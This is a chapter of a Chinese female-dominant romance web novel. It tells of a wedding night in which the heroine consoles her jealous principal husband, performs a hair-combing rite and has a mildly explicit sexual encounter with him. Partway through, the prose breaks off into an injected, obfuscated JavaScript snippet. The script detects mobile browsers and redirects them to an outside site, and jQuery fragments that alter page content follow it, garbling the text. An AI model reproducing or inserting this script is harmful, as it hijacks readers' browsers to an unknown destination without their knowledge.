22. 第二十二章
作品:《两个夫郎又如何?(女尊)》 去往东院时,已快是后半夜了。
冯吉眼都睁不开,在前面提着灯笼带路,后方的齐言倒是清醒,略带心虚地踏着步子。
说是一次,再是一次,最后又加一次,临走前对方还拽着她央求她留下,若非定力足,她怕是跌在温柔乡里出不来。
算了。
也称不上定力足。
东院里似乎还亮着,齐言一步一想,不知待会儿要怎么开口解释。
行至廊外时,冯吉被脚下石头一绊,差点摔个跟头,齐言见她困得神思昏沉,摆摆手让其回去休息。
左右她都得歇在正君处,用不着许多人伺候。
齐言料定崔显还在等候,只是未曾想被迎进屋时,见到的是端端正正坐在桌案旁的他。
他衣袍整洁,青丝束在礼冠内,丝毫不乱。齐言先前与阮知湫闹了几通,玄纁婚服早丢在一旁,头发也被水溅得微湿,她现在不过穿着身寻常罗裙,用根缎带松松系着发。
齐言更心虚了。
好在崔显并未在意,他听见脚步声,下意识抬头后眼眸微微一亮。
他当即起身,“妻主。”
崔显嗓音稍显干涩,像是熬得太久,字句间带着砂纸般的摩擦感。
齐言闻得这声称谓,顿时生出愧疚感,她赶忙走上前,“你怎不先安歇下?倒在这儿死等着我?”
对方用双墨黑的眸浅望着她,“妻主说过会来。”
他停了停,“我知道妻主不会骗我。”
齐言见他说话间有所停顿,再加他不似白日里那般喜悦,便猜到下面人将自己去西院的事告诉了他。
她心里乱乱的,轻叹一声道:“是我不好,让你多费了神。”
崔显一句未提前半夜的事,只邀她在桌前坐定,而后招呼小侍奉茶。
他道:“妻主是天,我们多费神才是应该。”
说着端过身旁递来的茶盏,声音轻轻的,“妻主过了宴,需饮浓茶,明日才不会头痛。”
对方虽体贴,可齐言先前已饮过一盅,再添下去只会平增负担,于是只好推却:“我醒过酒了。”
崔显顿了顿,答上个“是”字。
齐言看他侧过身放下杯盏,思考一番,觉得或许应该解释两句。可这时又有一队小侍鱼贯而入,个个手上捧着木方盘,上置五花八门的精致菜式。
崔显又道:“宴上不能饮食,妻主……”
他未说完,齐言就插进声:“我也已吃过了。”
崔显僵住,再次低低答了个“是”。
齐言不想他费心力,叫人将东西都撤下去,只留两杯清酒在桌面。
她牵过崔显的手,让他坐到自己身旁,“这回是我不好,连累你等这么久。”
说着端起一杯,将另一杯递到对方跟前,“新婚之夜,妻夫该行交杯礼。”
“共牢而食,合卺而饮,愿为妻夫,一体同心。”
意思是两人今后将同席而坐,共食一餐,共饮一杯,同心同体,永不分离。
齐言难得许下这般重的承诺,对方听后眸光微动,这回不再是“是”,而是个“好”字。
酒味苦,但崔显也未多言,他与齐言交臂饮下,而后抬眼望她。
他心性聪颖,见齐言方才拒绝备好的茶饭,不免猜到西院那边已服侍过。
他搁下酒杯,再一次请示道:“妻主忙了整日,我可为妻主揉捏肩颈。”
这话他先前就提过,齐言想着时候不早,并且还有梳礼未完,索性拍拍他的手,“还是趁早歇下。”
崔显沉默,在第三次拒绝中浅声发问:“妻主不累吗?”
“毕竟与他过了这么久。”
齐言一下哑火。
崔显问得精准,但又好似并无多余意思,只是起身步到齐言背后,开始替她揉肩。
颈上吻痕点点,衣下也藏着不少痕迹,崔显目光一一略过,面上稍显沉寂。
他手艺很好,指间力道不轻不重,齐言本还因那句话感到心虚,一番下来,倒也没那么不安。
但她还是覆上身后那人的手,出声解释道:“宴后我原是要来的,可在半路上得到个消息,就去了那边。”
她没提阮知湫谎报病情的事,只将错都揽在自己头上,“是我不对,耽误这么久才来看你。”
“我只觉你是正君,心胸比那边大,绝不是有意疏忽。”
她按下崔显的动作,将他牵至跟前,“你想怪就怪,可千万别在心里生气好不好?”
崔显不同于阮知湫,他常年执笔写经,指腹处有层薄薄的茧。齐言摩挲着对方的掌心,试图让人快些消气,她见对方垂下眼,听见句:“我不怪妻主。”
崔显一个人闷着声,静静道:“我只怪自己没能讨妻主的欢心。”
齐言发觉不对,想了想,径直将他的手捂在胸口,“你总这样说,倒不知、倒不知……”
她哀叹一声,“倒不知看你难过,我的心都快碎了,哪里还有欢心呢?”
今夜情况说是不在预料中,其实早就注定,她想要崔显,可又放不下阮知湫,两边都好两边都喜欢,但两边也都情思细腻,找了一个另一个必然沮丧。
齐言前半夜好声好语地安抚阮知湫,后半夜又得宽慰崔显,她实不知该如何是好,只能再次剖白心意,“都是我的错,惹得你整日胡思乱想。”
“你是世家公子,样貌好品行佳,就算府里还有一位,也危及不到你的正君名分。”
“你说我更喜欢他,看我先去他那儿便觉自己无用,可我也喜你爱你,我的心有一半都挂在你身上,你怎能看不见?”
齐言说得口干舌燥,看对方像是些微动摇,连忙继续:“你想讨我欢心,我也想你能照顾自己。”
“打第一眼起,我就觉得你好,后来虽说了许多不合时宜的话,但你从未恼过,对我也是始终如一。”
“上面的话你若不信,以后我时时说,刻刻说,就像你时时刻刻念着我一样。”
她搂过崔显,拿手轻抚他的脊背,“只要你不伤神,想我怎样都行。”
崔显站着,她坐着,两人贴得近贴得紧,她闻到阵幽幽檀香,也不待他答话,放低嗓音问:“我替你梳发可好?”
“
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16427042|183737||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
新婚夜向来都是夫郎为妻主行梳礼,可我尊你敬你,也愿和你做恩爱妻夫。”
崔显听她满满说了一通,心绪还未放平,又被拉着坐到铜镜前,他自是觉得不合礼制,唤道:“妻主……”
齐言按住他的话,伸手去卸他发上的礼冠,“我只梳这一次,往后就要你替我梳。”
这句落下,对方便没了声音,齐言见他收敛眼眸,像紧张似的“嗯”了声,“都听妻主的。”
那就好。
方拆下冠,墨黑发丝就如瀑布般垂落,齐言摸了一手,觉得凉凉的滑滑的,还跟崔显一样,扰得她心乱乱的。
对方安静坐着,既不说话也未动作,他大约天性如此,就算是学,也很难变得像其他人一般主动。
但齐言不需他主动,她甚至也没说话,只执过妆台处的扁梳替他顺发,一下、两下、以及第三下。
三下过后也没停住,反而拿手捞起一捧青丝,任其一点点自指缝间溜走。
她问:“行梳礼,不分离,崔郎愿与我共白头吗?”
崔显一直专心等她梳完,这时听得问话,停了一停,终于重新扬起唇角。
他笑意清浅,对上镜中齐言的视线,“愿意。”
两人是滚到床榻上的,齐言前半夜已乱了一遭,可此时嗅着崔显颈间的香气,头脑又开始不听使唤。
她吻得深,唇舌极力汲取着对方的温度,半途时对方似乎有些发抖,她退开,撞上副被水汽浸染的墨眸。
“我……”崔显像是难以启齿,“我不会……”
对方艰难承认,神色萎靡下去,齐言见状感到纳闷,咬着他的耳垂道:“你先前告诉我学了很多,这个倒没学吗?”
崔显面上泛起红,“学了……”
“只是怕学得不好,不能取悦妻主……”
齐言看他这副模样,心里不由发软,她亲了亲对方鼻尖,嘱咐道:“往后不用怕。”
“这个不会,妻主教你,其它不会,妻主也能教。”
“遇到难事来找妻主,觉得伤心来找妻主,想妻主了,也只管来找。”
她再度凑过唇,这次的吻绵而软,舌尖轻轻勾缠着对方,“你既把妻主当成天,妻主定会小心护你。”
对方挤不出音,但听到她的话,还是在混沌中点头应答。
这次进行得缓,对方初经人事,喘息声乱作一团。
汗、起伏的胸口、牢牢扣住她的手指,齐言柔声哄了许久,才慢慢使他放松下来。
一番过去,齐言倒真有些累了,她精疲力尽地靠在榻上,察到身边人朝自己挪近。
崔显嗓子略哑,他一动,带着凉意的发丝就窸窸窣窣地落到齐言身上。
“我做得不好……”他张口便是这句,顿了顿,小声地问:“他怎么样?”
什么他?他什么?
齐言不想对方居然问出这个,刚想打断,崔显却紧贴过来,“我不愿他什么都将我比下去。”
他目光里有诚恳,还有格外多的渴慕,“能再教教我吗?”
“我会做得比他更好,更能取悦妻主的。”